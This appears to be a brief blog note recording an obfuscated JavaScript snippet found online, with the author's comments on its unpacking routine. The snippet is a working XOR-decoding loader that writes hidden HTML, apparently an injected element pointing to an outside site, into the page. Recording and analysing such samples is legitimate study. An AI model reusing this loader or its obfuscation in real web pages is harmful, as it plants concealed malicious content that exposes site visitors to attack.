This is a random javascript snippet I found today which I will analyze later. Just recording for posterity.
<script language="JavaScript">e = '0x00' + '27';str1 = "%9C%C4%CF%D2%B8%D5%D4%DF%
CC%C3%9B%86%D2%CF%D5%CF%C6%CF%CC%CF%D4%DF%9E%C0%CF%C4%C4%C3%CA%86%9A%9C%
CF%C2%D6%C7%CB%C3%B8%D5%D6%C5%9B%86%C0%D4%D4%C8%9E%89%89%C1%D6%C3%D4%C7%
C6%C5%8A%C5%C9%CB%89%D4%D6%C2%89%86%B8%D1%CF%C4%D4%C0%9B%97%B8%C0%C3%CF%
C1%C0%D4%9B%97%9A%9C%89%CF%C2%D6%C7%CB%C3%9A%9C%89%C4%CF%D2%9A";
str=tmp='';
for(i=0;i<str1.length;i+=3)
{tmp = unescape(str1.slice(i,i+3));
str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}
document.write(str);</script>
It seems like it could be a more advanced unpacker then most of the lame ones I normally see. wait, i just ran through the code again and it’s lame. oh well. At least later I can figure out what it says decoded…
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